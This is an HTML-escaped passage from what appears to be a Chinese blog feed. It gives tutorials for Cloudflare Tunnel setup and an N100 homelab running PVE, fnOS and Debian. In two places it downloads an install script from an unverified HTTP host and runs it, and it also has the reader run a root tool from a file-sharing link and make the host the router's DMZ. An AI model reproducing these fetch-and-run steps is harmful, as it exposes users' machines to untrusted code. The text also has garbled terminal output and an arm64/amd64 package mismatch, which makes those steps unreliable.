&lt;p&gt;如图操作，创建一个Tunnel&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-18-45-41-image.88qRkFCr.webp&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-18-45-54-image.CMnHianN.webp&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-18-46-22-image.bFOXbFQI.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Docker方式&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;使用1Panel&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;复制如图的命令&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/48e9c43eb5c0fb49cc5517687698e3d9d1e60220.DgZIVZcz.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将其粘贴，并且复制后面的令牌&lt;img src=&quot;https://2x.nz/_astro/a2e18519d3782d765d7293c7a3d21031c787d575.DoA2cnCP.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;1Panel应用商店搜索&lt;code&gt;cloudflared&lt;/code&gt;&lt;img src=&quot;https://2x.nz/_astro/cf2eba61f0aaa7605240187e1c46f80a3954edfa.DuIGkjuF.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;填入令牌&lt;img src=&quot;https://2x.nz/_astro/6f661ffa778b2be2e108912d3d44d8b3301df6d6.DzHrDITl.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后前往&lt;a href=&quot;#%E6%9F%A5%E7%9C%8Bcloudflared%E7%9A%84ip&quot;&gt;查看IP&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用命令运行&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;复制底下的命令然后SSH连接到Linux（飞牛OS）在终端输入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-18-46-49-image.B_SIywkh.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后前往&lt;a href=&quot;#%E6%9F%A5%E7%9C%8Bcloudflared%E7%9A%84ip&quot;&gt;查看IP&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;查看cloudflared的IP&lt;/h3&gt;
&lt;p&gt;因为我们是Docker模式，所以IP需要通过SSH终端输入&lt;code&gt;ip a&lt;/code&gt;来查看。我这里是&lt;code&gt;192.168.124.34&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@n100-debian:~# ip a
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: ens18: tiROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether bc:24:11:33:e1:7d brd ff:ff:ff:ff:ff:ff
    altname enp0s18
    inet 192.168.124.34/24 brd 192.168.124.255 scope global dynamic ens18
       valid_lft 46579sec preferred_lft 46579sec
    inet6 2409:8a30:320:a170:be24:11ff:fe33:e17d/64 scope global dynamic mngtmpaddr
       valid_lft 1902sec preferred_lft 1898sec
    inet6 fe80::be24:11ff:fe33:e17d/64 scope link
       valid_lft forever preferred_lft foreverti
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;然后前往&lt;a href=&quot;#%E9%85%8D%E7%BD%AE%E5%B9%B6%E8%AE%BF%E9%97%AEtunnel&quot;&gt;配置并访问Tunnel&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;原生模式（以Debian为例）&lt;/h2&gt;
&lt;p&gt;选择Debian，然后复制底下的命令，直接到终端执行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-20-00-49-image.DUTp354L.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你的环境无法连接上Github&lt;/p&gt;
&lt;p&gt;尝试手动下载：&lt;a href=&quot;https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb&quot;&gt;https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后将其通过SSH等方式传到Linux上，如图终端为MobaXterm&lt;img src=&quot;https://2x.nz/_astro/2024-10-29-10-18-29-image.DAnG_Rqc.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后使用：&lt;code&gt;dpkg -i cloudflared-linux-amd64.deb&lt;/code&gt;安装这个软件包&lt;/p&gt;
&lt;p&gt;然后直接复制右边的命令到SSH终端执行&lt;img src=&quot;https://2x.nz/_astro/48e9c43eb5c0fb49cc5517687698e3d9d1e60220.DgZIVZcz.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;然后前往&lt;a href=&quot;#%E9%85%8D%E7%BD%AE%E5%B9%B6%E8%AE%BF%E9%97%AEtunnel&quot;&gt;配置并访问Tunnel&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Android（Termux）&lt;/h2&gt;
&lt;p&gt;在Android上安装&lt;a href=&quot;https://termux.dev&quot;&gt;Termux | The main termux site and help pages.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在终端执行：&lt;code&gt;pkg install cloudflared&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;选择&lt;code&gt;Debian&lt;/code&gt;然后复制最右边的命令到终端执行&lt;img src=&quot;https://2x.nz/_astro/2024-10-29-08-42-38-image.BqKsHKYK.webp&quot; alt=&quot;&quot; /&gt;
如果你无法使用Termux自带的cloudflared，请尝试安装proot容器实现&lt;/p&gt;
&lt;p&gt;依次输入命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pkg update &amp;amp;&amp;amp; pkg upgrade
pkg install proot
pkg install proot-distro
proot-distro list
proot-distro install debian
proot-distro login debian
apt install wget
wget https://github.com/cloudflare/cloudflared/releases/download/2024.10.1/cloudflared-linux-arm64.deb
dpkg -i cloudflared-linux-amd64.deb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后直接复制右边的命令到SSH终端执行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-29-08-42-38-image.BqKsHKYK.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你无法通过令牌配置cloudflared，请参见&lt;a href=&quot;#%E6%9C%AC%E5%9C%B0%E6%96%B9%E5%BC%8F&quot;&gt;本地方式配置cloudflared&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;然后前往&lt;a href=&quot;#%E9%85%8D%E7%BD%AE%E5%B9%B6%E8%AE%BF%E9%97%AEtunnel&quot;&gt;配置并访问Tunnel&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;配置并访问Tunnel&lt;/h1&gt;
&lt;h2&gt;通过网页配置&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;这种方法需要直接在安装了cloudflared的设备上通过令牌运行&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如图进入，创建一个HTTP隧道&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-18-49-21-image.DEBGKIye.webp&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-18-49-44-image.CtRiHPHV.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;填写你的IP和端口，非Docker模式可以直接填写localhost&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-18-53-37-image.OhB9ppqC.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;本地方式&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;这种方法只需要在安装了cloudflared的设备上输入一些命令然后通过网页授权，后续更改配置也需要在本地操作&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;登录并授权：&lt;code&gt;cloudflared tunnel login&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;创建隧道并设置隧道（HTTP模式穿透，目标地址&lt;code&gt;127.0.0.1&lt;/code&gt;，端口：&lt;code&gt;8080&lt;/code&gt;，外部域名：&lt;code&gt;test.onani.cn&lt;/code&gt;）：&lt;code&gt;cloudflared tunnel --name test --url http://127.0.0.1:8080 --http2 --hostname test.onani.cn&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;访问测试&lt;/h2&gt;
&lt;p&gt;成功访问&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-18-54-42-image.CYq5Sv_7.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;使用STUN打洞&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;这种方法可以不进行任何配置直接在公网上被访问，并且所有类型的服务都能正常使用。但是这种方式进行的内网穿透无法固定也无法指定IP和端口，在3~7天后会改变&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;安装Lucky&lt;/h2&gt;
&lt;p&gt;执行：&lt;code&gt;curl -o /tmp/install.sh http://6.666666.host:6/files/golucky.sh &amp;amp;&amp;amp; sh /tmp/install.sh http://6.666666.host:6/files 2.13.4&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;通过&lt;code&gt;host:16601&lt;/code&gt; 进入Lucky后台，设置STUN穿透。如果DMZ主机不设为Lucky主机可能会失败。打码的地方即公网访问的IP和端口&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-18-56-16-image.DtV_gsS2.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>N100 - PVE（fnOS+Debian）基建记录</title><link>https://2x.nz/posts/n100-pve/</link><guid isPermaLink="true">https://2x.nz/posts/n100-pve/</guid><description>在N100小主机上安装PVE，然后在其中安装飞牛NAS和Debian，实现追番建站分离，并且易扩展，易迁移</description><pubDate>Sun, 27 Oct 2024 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;配置&amp;amp;需求&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;N100 CPU 频率：最小 700 Mhz, 最大 3400 Mhz | TDP：6 W&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;8G RAM&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;128G M.2 NVme SSD&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;512G SATA HDD&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Realtek R8168 有线网卡&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;USB有线网卡&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;U盘（作PVE引导盘）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;目标&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;所有系统通过PVE管理&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;PVE下安装fnOS，作NAS并配置自动追番（直通：&lt;code&gt;N100核显&lt;/code&gt; &lt;code&gt;512G SATA HDD&lt;/code&gt; ）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;PVE下安装Debian，搭建QQBot、博客、AList&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h1&gt;1. PVE&lt;/h1&gt;
&lt;h2&gt;安装&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;下载Ventoy最新版可执行文件：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.ventoy.net/cn/download.html&quot;&gt;https://www.ventoy.net/cn/download.html&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用GPT分区表，NTFS格式将Ventoy写入U盘&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;下载PVE最新版ISO（使用USTC镜像源）：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mirrors.ustc.edu.cn/help/proxmox.html&quot;&gt;https://mirrors.ustc.edu.cn/help/proxmox.html&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;将PVE的ISO文件放入U盘根目录&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;插入USB网卡，U盘连接到到N100，开机从U盘启动，进入PVE安装界面，安装PVE。网络配置选择USB网卡&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;重启，进入PVE，通过IP+8006端口进入WebUI，登录进去&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;配置&lt;/h2&gt;
&lt;h3&gt;安装PVE快捷管理脚本&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;安装PVE快捷管理脚本：&lt;a href=&quot;https://alist.onani.cn/pve_source.tar.gz&quot;&gt;pve_source.tar.gz | AcoFork-AList&lt;/a&gt; 或 &lt;a href=&quot;https://wwp.lanzoul.com/ivHta1ngmo6d&quot;&gt;&lt;strong&gt;https://wwp.lanzoul.com/ivHta1ngmo6d&lt;/strong&gt;&lt;/a&gt; （密码:i1ws）（来自：在下莫老师）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;解压：&lt;code&gt;tar zxvf pve_source.tar.gz&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;运行：&lt;code&gt;./pve_source&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;同意许可协议&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;依次执行白框操作&lt;img src=&quot;https://2x.nz/_astro/ea205e1a00e7029dfa4bd7850c5a6a68d6d4c0d9.Dfo94rWn.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;扩容local：&lt;code&gt;lvextend -rl +100%FREE /dev/pve/root&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;配置Realtek R8168网卡&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;由于Debian系默认安装R8169驱动，我们需要手动安装R8168驱动，否则无法使用N100小主机自带的有线网口上网&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;下载驱动：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.realtek.com/Download/List?cate_id=584&quot;&gt;https://www.realtek.com/Download/List?cate_id=584&lt;/a&gt;&lt;img src=&quot;https://2x.nz/_astro/0d8457c7fb0d497e12e2c8b544f07c3c37cf96cd.DSg-LaKg.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;解压，安装：&lt;code&gt;sh autorun.sh&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查看是否有新的网络接口：&lt;code&gt;ip a&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code&gt;root@n100-pve:~# ip a
...
2: enp3s0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc mq master vmbr1 state UP group default qlen 1000
    link/ether 00:e0:4c:08:91:a6 brd ff:ff:ff:ff:ff:ff
...
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;配置网络配置文件：&lt;code&gt;nano /etc/network/interfaces&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# network interface settings; autogenerated
# Please do NOT modify this file directly, unless you know what
# you&apos;re doing.
#
# If you want to manage parts of the network configuration manually,
# please utilize the &apos;source&apos; or &apos;source-directory&apos; directives to do
# so.
# PVE will preserve these directives, but will NOT read its network
# configuration from sourced files, so do not attempt to move any of
# the PVE managed interfaces into external files!

auto lo
iface lo inet loopback

iface wlp1s0 inet manual

iface enp3s0 inet manual

auto vmbr1
iface vmbr1 inet static
        address 192.168.124.25/24
        gateway 192.168.124.1
        bridge-ports enp3s0
        bridge-stp off
        bridge-fd 0

iface vmbr1 inet6 auto
        dhcp 1
        accept_ra 2
        request_prefix 1

source /etc/network/interfaces.d/*
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;重启网络服务：&lt;code&gt;systemctl restart networking&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查看ip：&lt;code&gt;ip a&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@n100-pve:~# ip a
...
2: enp3s0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc mq master vmbr1 state UP group default qlen 1000
    link/ether 00:e0:4c:08:91:a6 brd ff:ff:ff:ff:ff:ff
...
4: vmbr1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 00:e0:4c:08:91:a6 brd ff:ff:ff:ff:ff:ff
    inet 192.168.124.25/24 scope global vmbr1
       valid_lft forever preferred_lft forever
    inet6 2409:8a30:320:7fc0:2e0:4cff:fe08:91a6/64 scope global dynamic mngtmpaddr
       valid_lft 2763sec preferred_lft 2762sec
    inet6 fe80::2e0:4cff:fe08:91a6/64 scope link
       valid_lft forever preferred_lft forever
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;卸除USB网卡&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;配置STUN穿透&lt;/h3&gt;
&lt;h4&gt;路由器设置DMZ主机为PVEIP&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;img src=&quot;https://2x.nz/_astro/dbeb7980e5fc699c696ffa6f2fda4a17c05ee821.ChpEfDkH.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;安装Lucky&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;执行：&lt;code&gt;curl -o /tmp/install.sh http://6.666666.host:6/files/golucky.sh &amp;amp;&amp;amp; sh /tmp/install.sh http://6.666666.host:6/files 2.13.4&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;host:16601&lt;/code&gt; 进入Lucky后台，设置STUN穿透&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2175839424184aee880b91382bd1fbf3c578d258.B5c1FLCk.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;2. fnOS&lt;/h1&gt;
&lt;h2&gt;安装&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;前往官网下载最新版ISO：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.fnnas.com/&quot;&gt;https://www.fnnas.com/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;上传至PVE：&lt;img src=&quot;https://2x.nz/_astro/073808516d357e099a866c30b4a77954c5b9b458.DCpfsVQY.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;创建fnOS虚拟机，CPU类型选择host，步骤略&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;直通核显和硬盘：&lt;img src=&quot;https://2x.nz/_astro/08e4f7a3b87ae86334011e1d4c3a384a36ad9866.AqeYwMOT.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果你不知道你的核显和SATA控制器的PCI ID：&lt;code&gt;lspci&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;可见核显为&lt;code&gt;00:02.0&lt;/code&gt;，SATA控制器为&lt;code&gt;00:17.0&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@n100-pve:~# lspci
00:00.0 Host bridge: Intel Corporation Device 461c
00:02.0 VGA compatible controller: Intel Corporation Alder Lake-N [UHD Graphics]
00:0a.0 Signal processing controller: Intel Corporation Platform Monitoring Technology (rev 01)
00:14.0 USB controller: Intel Corporation Alder Lake-N PCH USB 3.2 xHCI Host Controller
00:14.2 RAM memory: Intel Corporation Alder Lake-N PCH Shared SRAM
00:16.0 Communication controller: Intel Corporation Alder Lake-N PCH HECI Controller
00:17.0 SATA controller: Intel Corporation Alder Lake-N SATA AHCI Controller
00:1a.0 SD Host controller: Intel Corporation Device 54c4
00:1c.0 PCI bridge: Intel Corporation Device 54be
00:1d.0 PCI bridge: Intel Corporation Alder Lake-N PCI Express Root Port
00:1d.1 PCI bridge: Intel Corporation Alder Lake-N PCI Express Root Port
00:1e.0 Communication controller: Intel Corporation Alder Lake-N Serial IO UART Host Controller
00:1e.3 Serial bus controller: Intel Corporation Device 54ab
00:1f.0 ISA bridge: Intel Corporation Alder Lake-N PCH eSPI Controller
00:1f.3 Audio device: Intel Corporation Alder Lake-N PCH High Definition Audio Controller
00:1f.4 SMBus: Intel Corporation Alder Lake-N SMBus
00:1f.5 Serial bus controller: Intel Corporation Alder Lake-N SPI (flash) Controller
01:00.0 Network controller: Intel Corporation Wireless 3160 (rev 83)
02:00.0 Non-Volatile memory controller: Realtek Semiconductor Co., Ltd. RTS5765DL NVMe SSD Controller (DRAM-less) (rev 01)
03:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 2b)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;启动虚拟机，安装fnOS&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;配置&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;前往飞牛设置，创建储存空间，Linear模式，选择刚才直通的硬盘&lt;img src=&quot;https://2x.nz/_astro/581cf01462df545a8662acbb5e20e1676bd17744.BP9hnehy.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;前往飞牛应用中心安装qBittorrent、影视，并且在设置给予目录读取权限&lt;img src=&quot;https://2x.nz/_astro/92a2e0bf25d630db4858775fdbb6c907f419c25d.CiCfA9wO.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;配置qBittorrent的用户名和密码&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;打开飞牛Docker，初始化&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;拉取并运行AutoBangumi Docker镜像：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run -d \
--name=AutoBangumi \
-v /vol1/1000/AutoBangumi/config:/app/config \
-v /vol1/1000/AutoBangumi/data:/app/data \
-p 7892:7892 \
-e TZ=Asia/Shanghai \
-e PUID=$(id -u) \
-e PGID=$(id -g) \
-e UMASK=022 \
--network=bridge \
--dns=8.8.8.8 \
--restart unless-stopped \
ghcr.onani.cn/estrellaxd/auto_bangumi:latest
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;进入&lt;code&gt;host:7892&lt;/code&gt; 让AutoBangumi连接qBittorrent并配置下载地址&lt;img src=&quot;https://2x.nz/_astro/82c4a003d2399f82a7ccf5849cd1d5858d5f1f61.4U7myQAz.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;添加RSS。可前往&lt;a href=&quot;https://mikanime.tv/&quot;&gt;蜜柑计划 - Mikan Project&lt;/a&gt;获得各个字幕组的RSS&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/f36daae968d8043bbcd1e4a2bbb9b9cd2d707cee.DqsKwbGc.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注意：使用&lt;a href=&quot;https://mikanime.tv/&quot;&gt;蜜柑计划 - Mikan Project&lt;/a&gt;时，请订阅单个字幕组的RSS，不要使用个人的RSS，会导致&lt;strong&gt;只能获取到你所有追番的最新一集而不是单个番的全部剧集&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;打开飞牛影视，初始化并设置媒体库&lt;img src=&quot;https://2x.nz/_astro/269b78c3b7dffe7f8cdb861098f44147552b5eb4.BzCOLJm1.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;注意：如果要刮削旧集旧番，请规范重命名，可以使用自动化工具：&lt;a href=&quot;https://alist.onani.cn/Episode-ReName.zip&quot;&gt;Episode-ReName.zip | AcoFork-AList&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;一级目录：即qb下载目录，无需重命名&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;二级目录：番剧名称&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;三级目录：季，如&lt;code&gt;Season 1&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;四级目录：集和字幕，如&lt;code&gt;S01E01.mp4&lt;/code&gt; &lt;code&gt;S01E01.chs.ass&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;3. Debian&lt;/h1&gt;
&lt;h2&gt;安装&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;下载Debian12 ISO（USTC镜像源）（建议选择DVD镜像，包更全，安装更快）&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mirrors.ustc.edu.cn/help/debian-cd.html&quot;&gt;https://mirrors.ustc.edu.cn/help/debian-cd.html&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;上传至PVE，创建Debian虚拟机，CPU类型选择host，步骤略&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;安装1Panel：&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://1panel.cn/docs/installation/online_installation/&quot;&gt;https://1panel.cn/docs/installation/online_installation/&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在1Panel中安装&lt;code&gt;Openresty&lt;/code&gt; &lt;code&gt;MySQL&lt;/code&gt; &lt;code&gt;Halo&lt;/code&gt; &lt;code&gt;AList&lt;/code&gt; &lt;code&gt;Cloudflared&lt;/code&gt; 配置步骤略&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;搭建QQBot&lt;/h3&gt;
&lt;h4&gt;安装OneBotv11协议实现：Lagrange.OneBot&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Docker Run：&lt;code&gt;docker run -td -p 8081:8081 -v /root/qqbot/lo:/app/data -e UID=$UID -e GID=$(id -g) ghcr.onani.cn/lagrangedev/lagrange.onebot:edge&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;修改配置文件：&lt;code&gt;appsettings.json&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;Logging&quot;: {
        &quot;LogLevel&quot;: {
            &quot;Default&quot;: &quot;Information&quot;,
            &quot;Microsoft&quot;: &quot;Warning&quot;,
            &quot;Microsoft.Hosting.Lifetime&quot;: &quot;Information&quot;
        }
    },
    &quot;SignServerUrl&quot;: &quot;&quot;,
    &quot;SignProxyUrl&quot;: &quot;&quot;,
    &quot;MusicSignServerUrl&quot;: &quot;&quot;,
    &quot;Account&quot;: {
        &quot;Uin&quot;: 0,
        &quot;Password&quot;: &quot;&quot;,
        &quot;Protocol&quot;: &quot;Linux&quot;,
        &quot;AutoReconnect&quot;: true,
        &quot;GetOptimumServer&quot;: true
    },
    &quot;Message&quot;: {
        &quot;IgnoreSelf&quot;: true,
        &quot;StringPost&quot;: false
    },
    &quot;QrCode&quot;: {
        &quot;ConsoleCompatibilityMode&quot;: false
    },
    &quot;Implementations&quot;: [
        {
            &quot;Type&quot;: &quot;ReverseWebSocket&quot;,
            &quot;Host&quot;: &quot;192.168.124.34&quot;,
            &quot;Port&quot;: 9090,
            &quot;Suffix&quot;: &quot;/onebot/v11/ws&quot;,
            &quot;ReconnectInterval&quot;: 5000,
            &quot;HeartBeatInterval&quot;: 5000,
            &quot;AccessToken&quot;: &quot;&quot;
